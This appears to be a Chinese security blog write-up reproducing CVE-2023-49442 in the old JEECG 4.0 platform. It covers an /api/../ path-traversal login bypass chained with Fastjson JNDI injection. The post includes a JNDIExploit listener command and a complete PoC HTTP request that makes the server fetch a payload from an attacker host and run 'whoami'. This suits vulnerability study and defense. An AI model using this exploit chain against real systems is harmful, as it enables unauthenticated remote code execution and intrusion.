CVE-2023-49442 利用分析

2024-03-23 1,024 0

1. 漏洞介绍

JEECG(J2EE Code Generation)是开源的代码生成平台,目前官方已停止维护。JEECG 4.0及之前版本中,由于/api接口鉴权时未过滤路径遍历,攻击者可构造包含 ../的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest接口进行jndi注入攻击实现远程代码执行。注:Jeecg 与 Jeecg-boot 非相同应用。Jeccg官方地址为:https://gitee.com/jeecg/jeecg

2. 漏洞流程图分析

CVE-2023-49442 利用分析插图

3. 环境搭建

由于版本比较老,是19年8月的项目,我就直接按照官方文档进行搭建了,期间我尝试使用IDEA+Maven搭建,但是始终飘红报错,于是老老实实地按照官方文档使用eclipse+Maven环境搭建,我的本地配置如下:

官方文档写的比较详细我就不再赘述了:http://idoc.jeecg.com/1275933

  • 最新版eclipse

  • apache-maven-3.1.1-bin

  • JDK1.8_102(这里有个坑就是jdk1.8不能与tomcat6兼容,我们运行时候要使用tomcat7:run的命令)

  • Mysql5.7

  • Kali虚拟机(充当vps的功能)

4. 漏洞详情分析

由于这个项目已经是19年更新的了,我们去查看使用的fastjson版本发现是1.2.31,是属于存在漏洞的版本。

CVE-2023-49442 利用分析插图1

感觉Eclipse审计起来不太方便,我使用IDEA来代替使用来审计。

现在我们已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。

在审计Fastjson漏洞的时候我们着重关注parseObjectparse这两个关键词。我们在IDEA中按下Ctrl+shift+f进行查找:

CVE-2023-49442 利用分析插图2

发现调用了JSONObject.parseObject(result),发现全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java文件中进行了调用。分别是函数sendGet(String url, String param)以及sendPost(String url, String param)

然后继续寻找在哪里调用了这两个函数:

同样的方法,发现在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java中调用了这两个函数:

/**
* 常用示例Demo:接口测试
* @param request
* @param response
* @return AjaxJson
*/
@RequestMapping(params = "interfaceTest")
@ResponseBody
public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {
AjaxJson j=new AjaxJson();
try {
String serverUrl = request.getParameter("serverUrl");//请求的地址
String requestBody = request.getParameter("requestBody");//请求的参数
String requestMethod = request.getParameter("requestMethod");//请求的方式
if(requestMethod.equals("POST")){
if(requestBody !=""){
logger.info("----请求接口开始-----");
JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
logger.info("----请求接口结束-----"+sendPost);
j.setSuccess(true);
j.setObj(sendPost.toJSONString());
}else{
j.setSuccess(false);
j.setObj("请填写请求参数");
}

}
if(requestMethod.equals("GET")){
logger.info("----请求接口开始-----");
JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);
logger.info("----请求接口结束-----"+sendGet.toJSONString());
j.setSuccess(true);
j.setObj(sendGet);
}
} catch (Exception e) {
j.setSuccess(false);
j.setObj("服务器请求失败");
e.printStackTrace();
}
return j;
}

这段代码接受三个参数:serverUrlrequestBodyrequestMethod。然后根据requestMethod的值决定调用不同的方法:HttpRequest.sendPost或 HttpRequest.sendGet

我们直接发包访问该接口会鉴权被检测到没有登录,直接302跳转,我们得想办法bypass

CVE-2023-49442 利用分析插图3

然后我们根据漏洞简介定位/api未鉴权接口代码:src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java

CVE-2023-49442 利用分析插图4

也就是说对于以 /api/开头的请求路径,即使用户未登录,也会被允许访问,不会被拦截器拦截。

加上我们查看引用的Maven依赖中的alwaysUseFullPath为值默认false,这样的话程序在处理发包中会对uri进行标准化处理。于是我们就可以使用/api/../的方式来进行bypass

CVE-2023-49442 利用分析插图5

比如说我们的poc链接是/jeecg/api/../jeecgFormDemoController.do?interfaceTest=然后进行标准化处理后就会变成/jeecg/jeecgFormDemoController.do?interfaceTest=从而绕过登录限制。

CVE-2023-49442 利用分析插图6

然后就是针对fastjson1.2.31版本的漏洞利用了,这里我使用了集成的工具JNDIExploit-1.4-SNAPSHOT

利用方法就是先在我们的Kali虚拟机(vps作用)上开启监听:

这里因为我的虚拟机上的java版本过高,Java 9及以上版本引入了模块化系统,其中的java.xml模块不会默认导出com.sun.org.apache.xalan.internal.xsltc.runtime包,因此导致com.feihong.ldap.template.TomcatEchoTemplate类无法访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类。所以通过命令行参数--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED来向模块java.xml添加导出指令,使得com.sun.org.apache.xalan.internal.xsltc.runtime包能够被未命名模块(ALL-UNNAMED)访问。

java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131

CVE-2023-49442 利用分析插图7

然后用python公开一个poc.txt

CVE-2023-49442 利用分析插图8

然后直接调用该接口使用下面的Poc即可:

POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: whoami

serverUrl=http://192.168.16.131:8081/poc.txt&requestBody=123&requestMethod=GET

CVE-2023-49442 利用分析插图9

5. 总结

一开始准备复现这个漏洞是以为JEECG-BOOT爆这么大的前台RCE漏洞了,后面发现原来是19年的停止维护的版本。整个复现流程下来不算轻松,主要是老版本的环境Debug问题,通过本漏洞的复现学习,对fastjson漏洞alwaysUseFullPath绕过鉴权漏洞有了更多的体会。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

办事处网络安全监控与事件响应;国外员工终端安全性怎么保障 | FB甲方群话题讨论
拿不下总统之位,那就用热加载拿下验证码识别与爆破好了!
Sooty:一款SoC分析一体化与自动化CLI工具
shiro CVE-2016-6802 路径绕过(越权)
Apache Solr 身份验证绕过漏洞(CVE-2024-45216)详解
llama_index的CVE-2024-4181漏洞根因分析

发布评论